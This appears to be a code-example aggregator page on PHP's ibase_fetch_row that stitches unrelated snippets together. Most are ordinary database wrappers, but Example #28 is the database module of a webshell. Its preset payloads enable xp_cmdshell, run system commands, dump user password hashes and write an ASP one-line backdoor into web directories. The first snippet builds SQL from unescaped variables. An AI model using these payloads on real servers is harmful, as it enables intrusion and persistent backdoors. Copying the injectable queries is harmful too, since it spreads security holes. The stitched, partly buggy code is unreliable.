     $sql = "SELECT MINVE03.CVE_ART, MINVE03.CVE_CPTO, MINVE03.FECHA_DOCU,MINVE03.REFER, MINVE03.CANT AS CANTIDAD, MINVE03.EXISTENCIA FROM MINVE03 WHERE MINVE03.REFER ='{$folio}' ORDER BY MINVE03.CVE_ART DESC  ";
 } else {
     $sql = "SELECT MINVE03.CVE_ART, MINVE03.CVE_CPTO, MINVE03.FECHA_DOCU,MINVE03.REFER, MINVE03.CANT AS CANTIDAD, MINVE03.EXISTENCIA FROM MINVE03 WHERE MINVE03.REFER ='{$folio}' and MINVE03.CVE_ART='{$clave}' ORDER BY MINVE03.CVE_ART DESC  ";
 }
 $conexsuc = ibase_query($conn, $sql);
 while ($CS = ibase_fetch_row($conexsuc)) {
     $fechasal = $CS[2];
     $maskSAL = $fechasal[8] . $fechasal[9] . $fechasal[7] . $fechasal[5] . $fechasal[6] . $fechasal[4] . $fechasal[0] . $fechasal[1] . $fechasal[2] . $fechasal[3];
     if ($CS[1] > '50') {
         $cant = $CS[4] * -1;
         $restacant = $restacant + $cant;
     } else {
         $cant = $CS[4];
         $sumacant = $sumacant + $cant;
     }
     /*
     echo "<tr class='content'><td>$CS[0]</td><td>$CS[3]</td><td align='center'>$cant</td><td>$maskSAL</td><td>$CS[1]</td><td>$ABR</td></tr>";
     $count = $count + 1; 
     */
     $registros[$num]["clave"] = $CS[0];
     $registros[$num]["docto"] = $CS[3];
 /**
  * Fetches the row at current position and moves the internal cursor to the next position.
  * @param  bool     TRUE for associative array, FALSE for numeric
  * @return array    array on success, nonarray if no next record
  */
 public function fetch($assoc)
 {
     DibiDriverException::tryError();
     $result = $assoc ? ibase_fetch_assoc($this->resultSet, IBASE_TEXT) : ibase_fetch_row($this->resultSet, IBASE_TEXT);
     // intentionally @
     if (DibiDriverException::catchError($msg)) {
         if (ibase_errcode() == self::ERROR_EXCEPTION_THROWN) {
             preg_match('/exception (\\d+) (\\w+) (.*)/is', ibase_errmsg(), $match);
             throw new DibiProcedureException($match[3], $match[1], $match[2], dibi::$sql);
         } else {
             throw new DibiDriverException($msg, ibase_errcode(), dibi::$sql);
         }
     }
     return $result;
 }
Example #27
0
 function _fetch()
 {
     $f = @ibase_fetch_row($this->_queryID);
     if ($f === false) {
         $this->fields = false;
         return false;
     }
     // OPN stuff start - optimized
     // fix missing nulls and decode blobs automatically
     global $ADODB_ANSI_PADDING_OFF;
     //$ADODB_ANSI_PADDING_OFF=1;
     $rtrim = !empty($ADODB_ANSI_PADDING_OFF);
     for ($i = 0, $max = $this->_numOfFields; $i < $max; $i++) {
         if ($this->_cacheType[$i] == "BLOB") {
             if (isset($f[$i])) {
                 $f[$i] = $this->connection->_BlobDecode($f[$i]);
             } else {
                 $f[$i] = null;
             }
         } else {
             if (!isset($f[$i])) {
                 $f[$i] = null;
             } else {
                 if ($rtrim && is_string($f[$i])) {
                     $f[$i] = rtrim($f[$i]);
                 }
             }
         }
     }
     // OPN stuff end
     $this->fields = $f;
     if ($this->fetchMode == ADODB_FETCH_ASSOC) {
         $this->fields =& $this->GetRowAssoc(ADODB_ASSOC_CASE);
     } else {
         if ($this->fetchMode == ADODB_FETCH_BOTH) {
             $this->fields =& array_merge($this->fields, $this->GetRowAssoc(ADODB_ASSOC_CASE));
         }
     }
     return true;
 }
Example #28
0
function otherdb()
{
    $db = isset($_GET['db']) ? $_GET['db'] : 'ms';
    print <<<END
<form method="POST" name="dbform" id="dbform" action="?s=gg&db={$db}" enctype="multipart/form-data">
<div class="actall">
<a href="?s=gg&db=ms"> &nbsp MSSQL &nbsp</a>
<a href="?s=gg&db=ora"> &nbsp Oracle &nbsp</a>
<a href="?s=gg&db=ifx"> &nbsp InforMix &nbsp</a>
<a href="?s=gg&db=fb"> &nbsp  FireBird &nbsp</a>
<a href="?s=gg&db=db2">&nbsp DB2 &nbsp</a></div></form>
END;
    if ($db == "ms") {
        $mshost = isset($_POST['mshost']) ? $_POST['mshost'] : 'localhost';
        $msuser = isset($_POST['msuser']) ? $_POST['msuser'] : '******';
        $mspass = isset($_POST['mspass']) ? $_POST['mspass'] : '';
        $msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master';
        $msaction = isset($_POST['action']) ? $_POST['action'] : '';
        $msquery = isset($_POST['mssql']) ? $_POST['mssql'] : '';
        $msquery = stripslashes($msquery);
        print <<<END
<div class="actall">
<form method="POST" name="msform" action="?s=gg&db=ms">
Host:<input type="text" name="mshost" value="{$mshost}" style="width:100px">
User:<input type="text" name="msuser" value="{$msuser}" style="width:100px">
Pass:<input type="text" name="mspass" value="{$mspass}" style="width:100px">
Dbname:<input type="text" name="msdbname" value="{$msdbname}" style="width:100px"><br>
<script language="javascript">
function msFull(i){
\tStr = new Array(11);
\tStr[0] = "";
\tStr[1] = "select @@version;";
\tStr[2] = "select name from sysdatabases;";
\tStr[3] = "select name from sysobject where type='U';";
\tStr[4] = "select name from syscolumns where id=Object_Id('table_name');";
\tStr[5] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll');";
\tStr[6] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll');";
\tStr[7] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;";
\tStr[8] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;";
\tStr[9] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;";
\tStr[10] = "Exec master.dbo.xp_cmdshell 'net user';";
\tStr[11] = "Declare @s  int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%^> > c:\\\\1.asp';";
\tStr[12] = "sp_makewebtask @outputfile='d:\\\\web\\\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>''' ";
\tmsform.mssql.value = Str[i];
\treturn true;
}
</script>
<textarea name="mssql" style="width:600px;height:200px;">{$msquery}</textarea><br>
<select onchange="return msFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">��ʾ�汾</option>
\t<option value="2">���ݿ�</option>
\t<option value="3">����</option>
\t<option value="4">�ֶ�</option>
\t<option value="5">sp_oacreate</option>
\t<option value="6">xp_cmdshell</option>
\t<option value="7">xp_cmdshell(2005)</option>
\t<option value="8">sp_oacreate(2005)</option>
\t<option value="9">����openrowset(2005)</option>
\t<option value="10">xp_cmdshell exec</option>
\t<option value="10">sp_oamethod exec</option>
\t<option value="11">sp_makewebtask</option>
</select>
<input type="hidden" name="action" value="msquery">
<input class="bt" type="submit" value="Query"></form></div>
END;
        if ($msaction == 'msquery') {
            $msconn = mssql_connect($mshost, $msuser, $mspass);
            mssql_select_db($msdbname, $msconn) or die("connect error :" . mssql_get_last_message());
            $msresult = mssql_query($msquery) or die(mssql_get_last_message());
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < mssql_num_fields($msresult); $i++) {
                echo '<td><b>' . mssql_field_name($msresult, $i) . "</b></td>\n";
            }
            echo "</tr>\n";
            mssql_data_seek($result, 0);
            while ($msrow = mssql_fetch_row($msresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < mssql_num_fields($msresult); $i++) {
                    echo '<td>' . "{$msrow[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            mssql_free_result($msresult);
            mssql_close();
        }
    } elseif ($db == "ora") {
        $orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost';
        $oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521';
        $orauser = isset($_POST['orauser']) ? $_POST['orauser'] : '******';
        $orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '******';
        $orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL';
        $oraaction = isset($_POST['action']) ? $_POST['action'] : '';
        $oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : '';
        $oraquery = stripslashes($oraquery);
        print <<<END
<form method="POST" name="oraform" action="?s=gg&db=ora">
<div class="actall">
Host:<input type="text" name="orahost" value="{$orahost}" style="width:100px">
Port:<input type="text" name="oraport" value="{$oraport}" style="width:50px">
User:<input type="text" name="orauser" value="{$orauser}" style="width:80px">
Pass:<input type="text" name="orapass" value="{$orapass}" style="width:100px">
SID:<input type="text" name="orasid" value="{$orasid}" style="width:50px"><br>
<script language="javascript">
function oraFull(i){
Str = new Array(5);
\tStr[0] = "";
\tStr[1] = "select version();";
\tStr[2] = "SELECT NAME FROM V{$DATABASE}";
\tStr[3] = "select * From all_objects where object_type='TABLE'";
\tStr[4] = "select column_name from user_tab_columns where table_name='table1'";
\toraform.orasql.value = Str[i];
\treturn true;
}
</script>
<textarea name="orasql" style="width:600px;height:200px;">{$oraquery}</textarea><br>
<select onchange="return oraFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">��ʾ�汾</option>
\t<option value="2">���ݿ�</option>
\t<option value="3">����</option>
\t<option value="4">�ֶ�</option>
</select>
<input type="hidden" name="action" value="myquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($oraaction == 'oraquery') {
            $oralink = OCILogon($orauser, $orapass, "(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST={$orahost})(PORT = {$oraport}))(CONNECT_DATA =(SID={$orasid})))") or die(ocierror());
            $oraresult = ociparse($oralink, $oraquery) or die(ocierror());
            $orarow = oci_fetch_row($oraresult);
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < oci_num_fields($oraresult); $i++) {
                echo '<td><b>' . oci_field_name($oraresult, $i) . "</b></td>\n";
            }
            echo "</tr>\n";
            ociresult($oraresult, 0);
            while ($orarow = ora_fetch_row($oraresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < ora_num_fields($result); $i++) {
                    echo '<td>' . "{$orarow[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            oci_free_statement($oraresult);
            ocilogoff();
        }
    } elseif ($db == "ifx") {
        $ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : '******';
        $ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '******';
        $ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb';
        $ifxaction = isset($_POST['action']) ? $_POST['action'] : '';
        $ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : '';
        $ifxquery = stripslashes($ifxquery);
        print <<<END
<form method="POST" name="ifxform" action="?s=gg&db=ifx">
<div class="actall">Dbname:<input type="text" name="ifxhost" value="{$ifxdbname}" style="width:100px">
User:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px">
Pass:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br>
<script language="javascript">
function ifxFull(i){
Str = new Array(11);
\tStr[0] = "";
\tStr[1] = "select dbservername from sysobjects;";
\tStr[2] = "select name from sysdatabases;";
\tStr[3] = "select tabname from systables;";
\tStr[4] = "select colname from syscolumns where tabid=n;";
\tStr[5] = "select username,usertype,password from sysusers;";
\tifxform.ifxsql.value = Str[i];
\treturn true;
}
</script>
<textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br>
<select onchange="return ifxFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">���ݿ�����������</option>
\t<option value="1">���ݿ�</option>
\t<option value="2">����</option>
\t<option value="3">�ֶ�</option>
\t<option value="4">hashes</option>
</select>
<input type="hidden" name="action" value="ifxquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($ifxaction == 'ifxquery') {
            $ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg());
            $ifxresult = ifx_query($ifxquery, $ifxlink) or die(ifx_errormsg());
            $ifxrow = ifx_fetch_row($ifxresult);
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
                echo '<td><b>' . ifx_fieldproperties($ifxresult) . "</b></td>\n";
            }
            echo "</tr>\n";
            mysql_data_seek($ifxresult, 0);
            while ($ifxrow = ifx_fetch_row($ifxresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) {
                    echo '<td>' . "{$ifxrow[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            ifx_free_result($ifxresult);
            ifx_close();
        }
    } elseif ($db == "db2") {
        $db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost';
        $db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000';
        $db2user = isset($_POST['db2user']) ? $_POST['db2user'] : '******';
        $db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '******';
        $db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql';
        $db2action = isset($_POST['action']) ? $_POST['action'] : '';
        $db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : '';
        $db2query = stripslashes($db2query);
        print <<<END
<form method="POST" name="db2form" action="?s=gg&db=db2">
<div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px">
Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px">
User:<input type="text" name="db2user" value="{$db2user}" style="width:100px">
Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px">
Dbname:<input type="text" name="db2dbname" value="{$db2dbname}" style="width:100px"><br>
<script language="javascript">
function db2Full(i){
Str = new Array(4);
\tStr[0] = "";
\tStr[1] = "select schemaname from syscat.schemata;";
\tStr[2] = "select name from sysibm.systables;";
\tStr[3] = "select colname from syscat.columns where tabname='table_name';";
\tStr[4] = "db2 get db cfg for db_name;";
db2form.db2sql.value = Str[i];
return true;
}
</script>
<textarea name="db2sql" style="width:600px;height:200px;">{$db2query}</textarea><br>
<select onchange="return db2Full(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">���ݿ�</option>
\t<option value="1">����</option>
\t<option value="2">�ֶ�</option>
\t<option value="3">���ݿ�����</option>
</select>
<input type="hidden" name="action" value="db2query">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($myaction == 'db2query') {
            $db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg());
            $db2result = db2_exec($db2link, $db2query) or die(db2_stmt_errormsg());
            $db2row = db2_fetch_row($db2result);
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < db2_num_fields($db2result); $i++) {
                echo '<td><b>' . db2_field_name($db2result) . "</b></td>\n";
            }
            echo "</tr>\n";
            while ($db2row = db2_fetch_row($db2result)) {
                echo "<tr>\n";
                for ($i = 0; $i < db2_num_fields($db2result); $i++) {
                    echo '<td>' . "{$db2row[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            db2_free_result($db2result);
            db2_close();
        }
    } elseif ($db == "fb") {
        $fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost';
        $fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : '';
        $fbpath = str_replace("\\\\", "\\", $fbpath);
        $fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : '******';
        $fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : '******';
        $fbaction = isset($_POST['action']) ? $_POST['action'] : '';
        $fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : '';
        $fbquery = stripslashes($fbquery);
        print <<<END
<form method="POST" name="fbform" action="?s=gg&db=fb">
<div class="actall">Host:<input type="text" name="fbhost" value="{$fbhost}" style="width:100px">
Path:<input type="text" name="fbpath" value="{$fbpath}" style="width:100px">
User:<input type="text" name="fbuser" value="{$fbuser}" style="width:100px">
Pass:<input type="text" name="fbpass" value="{$fbpass}" style="width:100px"><br/>
<script language="javascript">
function fbFull(i){
Str = new Array(5);
\tStr[0] = "";
\tStr[1] = "select RDB\$RELATION_NAME from RDB\$RELATIONS;";
\tStr[2] = "select RDB\$FIELD_NAME from RDB\$RELATION_FIELDS where RDB\$RELATION_NAME='table_name';";
\tStr[3] = "input 'D:\\createtable.sql';";
\tStr[4] = "shell netstat -an;";
fbform.fbsql.value = Str[i];
return true;
}
</script>
<textarea name="fbsql" style="width:600px;height:200px;">{$fbquery}</textarea><br>
<select onchange="return fbFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">����</option>
\t<option value="2">�ֶ�</option>
\t<option value="3">����sql</option>
\t<option value="4">shell</option>
</select>
<input type="hidden" name="action" value="fbquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
        if ($fbaction == 'fbquery') {
            $fblink = ibase_connect($fbhost . ':' . $fbpath, $fbuser, $fbpass) or die(ibase_errmsg());
            $fbresult = ibase_query($fblink, $fbquery) or die(ibase_errmsg());
            echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
            for ($i = 0; $i < ibase_num_fields($fbresult); $i++) {
                echo '<td><b>' . ibase_field_info($fbresult, $i) . "</b></td>\n";
            }
            echo "</tr>\n";
            ibase_field_info($fbresult, 0);
            while ($fbrow = ibase_fetch_row($fbresult)) {
                echo "<tr>\n";
                for ($i = 0; $i < ibase_num_fields($fbresult); $i++) {
                    echo '<td>' . "{$fbrow[$i]}" . '</td>';
                }
                echo "</tr>\n";
            }
            echo "</table></font>";
            ibase_free_result($fbresult);
            ibase_close();
        }
    }
}
Example #29
0
/**
 * Retrieves a single row from the database and returns it as an array.
 *
 * <b>Note:</b> We don't use the more useful xxx_fetch_array because not all
 * databases support this function.
 *
 * <b>Note:</b> Use the {@link dbi_error()} function to get error information
 * if the connection fails.
 *
 * @param resource $res The database query resource returned from
 *                      the {@link dbi_query()} function.
 *
 * @return mixed An array of database columns representing a single row in
 *               the query result or false on an error.
 */
function dbi_fetch_row($res)
{
    if (strcmp($GLOBALS["db_type"], "mysql") == 0) {
        return mysql_fetch_array($res);
    } else {
        if (strcmp($GLOBALS["db_type"], "mysqli") == 0) {
            return mysqli_fetch_array($res);
        } else {
            if (strcmp($GLOBALS["db_type"], "mssql") == 0) {
                return mssql_fetch_array($res);
            } else {
                if (strcmp($GLOBALS["db_type"], "oracle") == 0) {
                    if (OCIFetchInto($GLOBALS["oracle_statement"], $row, OCI_NUM + OCI_RETURN_NULLS)) {
                        return $row;
                    }
                    return 0;
                } else {
                    if (strcmp($GLOBALS["db_type"], "postgresql") == 0) {
                        if (@$GLOBALS["postgresql_numrows[\"{$res}\"]"] > @$GLOBALS["postgresql_row[\"{$res}\"]"]) {
                            $r = pg_fetch_array($res, @$GLOBALS["postgresql_row[\"{$res}\"]"]);
                            @$GLOBALS["postgresql_row[\"{$res}\"]"]++;
                            if (!$r) {
                                echo "Unable to fetch row\n";
                                return '';
                            }
                        } else {
                            $r = '';
                        }
                        return $r;
                    } else {
                        if (strcmp($GLOBALS["db_type"], "odbc") == 0) {
                            if (!odbc_fetch_into($res, $ret)) {
                                return false;
                            }
                            return $ret;
                        } else {
                            if (strcmp($GLOBALS["db_type"], "ibm_db2") == 0) {
                                return db2_fetch_array($res);
                            } else {
                                if (strcmp($GLOBALS["db_type"], "ibase") == 0) {
                                    return ibase_fetch_row($res);
                                } else {
                                    dbi_fatal_error("dbi_fetch_row(): db_type not defined.");
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}
 /**
  * Fetches the next row from the current result set
  *
  * @return unknown
  */
 function fetchResult()
 {
     if ($row = ibase_fetch_row($this->results, IBASE_TEXT)) {
         $resultRow = array();
         $i = 0;
         foreach ($row as $index => $field) {
             list($table, $column) = $this->map[$index];
             if (trim($table) == "") {
                 $resultRow[0][$column] = $row[$index];
             } else {
                 $resultRow[$table][$column] = $row[$index];
                 $i++;
             }
         }
         return $resultRow;
     } else {
         return false;
     }
 }